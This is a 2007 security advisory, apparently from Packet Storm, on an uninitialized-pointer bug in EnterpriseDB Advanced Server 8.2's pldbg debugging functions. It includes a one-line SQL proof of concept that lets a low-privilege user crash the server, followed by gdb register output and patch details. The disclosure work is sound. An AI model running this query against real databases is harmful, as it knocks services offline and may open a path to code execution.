Home / vulnerabilities enterprisedb-pointer.txt
Posted on 30 August 2007
Source : packetstormsecurity.org Link
EnterpriseDB Advanced Server 8.2 Unitialized Pointer
----------------------------------------------------
Product Description:
EnterpriseDB is a (comercial) relational database management system
based on PostgreSQL.
Vulnerable Versions:
EnterpriseDB Advanced Server 8.2 in all supported operative systems.
Tested Operative Systems:
Microsoft Windows 2003 SP2 x86
Red hat Enterprise Linux 4 x86
Vulnerability Details:
A problem was found in the product EnterpriseDB which may lead to remote
code execution altought that point wasn't demostrated. At least, it is a
denial of service.
The issue exists in, almost, all the debugging functions (so is a
post-authentication vulnerability), i.e., pldbg_get_stack. The function
"pldbg_create_listener" is the responsible of starting the debug process
and must be the first function called before the client sends any
debugging command.
The problem is that, when you call *any* debugging related function
before the call to the main "pldbg_create_listener" an unitialized
pointer is used causing a DOS (denial of service) that leads to remote
code execution.
Proof of concept:
1) Connect to one vulnerable EnterpriseDB as a low level user (the
execution privilege over the pldbg_* function is granted by default).
2) Execute the following query:
edb=> select pldbg_abort_target(1094861636); -- 0x41424344 in decimal
(gdb) where
#0 0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1 0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2 0x00ba82e3 in sendString ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#3 0x00ba8880 in pldbg_abort_target ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#4 0x0816669d in ExecMakeFunctionResult ()
#5 0x08168d51 in ExecProject ()
#6 0x0817544d in ExecResult ()
#7 0x08162f65 in ExecProcNode ()
#8 0x08161931 in ExecutorRun ()
#9 0x081fa2e3 in PortalRunSelect ()
#10 0x081fb12a in PortalRun ()
#11 0x081f5a8b in exec_simple_query ()
#12 0x081f76ec in PostgresMain ()
#13 0x081ca356 in ServerLoop ()
#14 0x081cb2b7 in PostmasterMain ()
#15 0x081865d7 in main ()
(gdb) x /i $pc
0xba81db <sendBytes+11>: mov (%eax),%eax
(gdb) i r
eax 0x41424344 1094861636
ecx 0x4 4
edx 0xbff46c04 -1074500604
ebx 0xbacbd8 12241880
esp 0xbff46bc0 0xbff46bc0
ebp 0xbff46be8 0xbff46be8
esi 0x4 4
edi 0xbab597 12236183
eip 0xba81db 0xba81db
eflags 0x10286 66182
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
The complete database server (droping all active conections) crashes.
Patch information:
The issue was fixed by no longer exposing a direct pointer to the client
application; instead, the server sends an opaque handle to the client
and them validate each handle when it comes back to the debugger - if
the debugger detects an invalid handle, it throws an error.
The patch is available for customers in the EnterpriseDB website.
Thanks:
Thanks to Shahzad Khokhar, Vice President of Customer Support at
EnterpriseDB Corporation. He were very kind and professional.
Disclaimer:
The information in this advisory and any of its demonstrations is
provided "as is" without any warranty of any kind.
I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.
Contact:
Joxean Koret - joxeankoret[at]yahoo[dot]es
